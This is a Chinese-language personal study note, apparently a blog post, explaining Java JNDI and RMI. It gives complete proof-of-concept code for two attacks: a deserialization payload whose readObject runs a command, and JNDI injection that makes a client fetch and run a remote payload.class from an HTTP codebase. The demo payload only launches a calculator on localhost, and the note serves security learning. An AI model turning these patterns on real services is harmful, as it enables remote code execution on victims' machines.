【心得】java JNDI配合RMI实现注入个人笔记

目录

JNDI

RMI

基本概念

RMI 基本逻辑

恶意利用

JNDI注入+RMI实现攻击


JNDI

Java Naming and Directory Interface  Java 命令和目录接口


让配置参数 和  代码 解耦的规范或者思想


低耦合 高内聚


Name
命名  

java对象 通过 命名  绑定到 容器环境

java对象和一个特定的名称关联在一起

Directory

将一个对象的所有属性信息保存在一个容器环境

RMI

基本概念

Remote Method Invocation  Java远程方法调用

实现java程序之间jvm的远程通信

例子

某个负责计算   1台计算机  需要很久   如果这台计算机支持 RMI调用,那么它可以把任务分配和远程的多台虚拟机 进行同步计算,提高计算效率

RMI 基本逻辑

分为三部分   Server  Client  Registry

Server  提供远程的对象
Client 调用远程的对象
Registry 注册表 存放远程对象的位置  ip 端口  标识符

恶意利用

客户端 通过 lookup方法,找绑定的恶意类

1 远程对象有恶意方法,可以直接调用
2 远程对象有可利用的readObject 方法,可以传输Object参数,实现反序列化攻击

举例:

【心得】java JNDI配合RMI实现注入个人笔记_第1张图片

package org.example;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Exp implements Serializable {
    private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {
        objectInputStream.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }

}
package org.example;

import java.io.IOException;
import java.rmi.NotBoundException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) throws IOException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("localhost", 8081);
        RMITest rmiTest = (RMITest) registry.lookup("Z3r4y");
        rmiTest.ctfshow(new Exp());
    }
}
package org.example;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        RMITestmpl rmiTest = new RMITestmpl();
        Registry registry = LocateRegistry.createRegistry(8081);
        registry.bind("Z3r4y",rmiTest);
        System.out.println("RMI Server is listening ...");
    }
}
package org.example;

import java.io.IOException;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMITest extends Remote {
    public String testcalc() throws IOException;
    public void ctfshow(Object obj) throws RemoteException;
}
package org.example;

import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMITestmpl extends UnicastRemoteObject implements RMITest{
    protected RMITestmpl() throws RemoteException {
    }

    @Override
    public String testcalc() throws IOException {
        Runtime.getRuntime().exec("calc");
        return null;
    }

    @Override
    public void ctfshow(Object obj) {
        System.out.println(obj);
    }
}

开客户端和服务端就可以成功弹计算器

【心得】java JNDI配合RMI实现注入个人笔记_第2张图片

JNDI注入+RMI实现攻击

package org.example;

import java.io.IOException;

public class payload {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}
package org.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;
import java.rmi.NotBoundException;
import java.util.Hashtable;

public class RMIClient {
    public static void main(String[] args) throws IOException, NotBoundException, NamingException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        System.setProperty("com.sun.jndi.rmi.ldap.object.trustURLCodebase","true");
        Hashtable env=new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,"rmi://localhost:8081");

        InitialContext context = new InitialContext(env);
        String url="rmi://localhost:8081/Z3r4y";

        context.lookup(url);
    }
}
package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
        Registry registry = LocateRegistry.createRegistry(8081);
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        Reference reference=new Reference("payload","payload","http://localhost/");
        ReferenceWrapper referenceWrapper=new ReferenceWrapper(reference);
        registry.bind("Z3r4y",referenceWrapper);
        System.out.println("RMI Server is listening ...");
    }
}

客户端  通过 lookup 方法  注入了rmi协议  ,访问了远程的rmi服务器

rmi服务器返回了引用对象 ,而引用对象包含了类的加载工厂

如果本地没有这个类 ,就去加载工厂去加载类的字节码

而加载工厂是本地的localhost80端口,目录下,有payload.class文件

客户端 再去访问localhost的80端口,去下载payload.class的字节码 ,然后Class.forname加载了这个字节码

造成了payload.class这个类里面的静态代码被执行

你可能感兴趣的:(java,笔记,JNDI,RMI,JAVA安全,安全)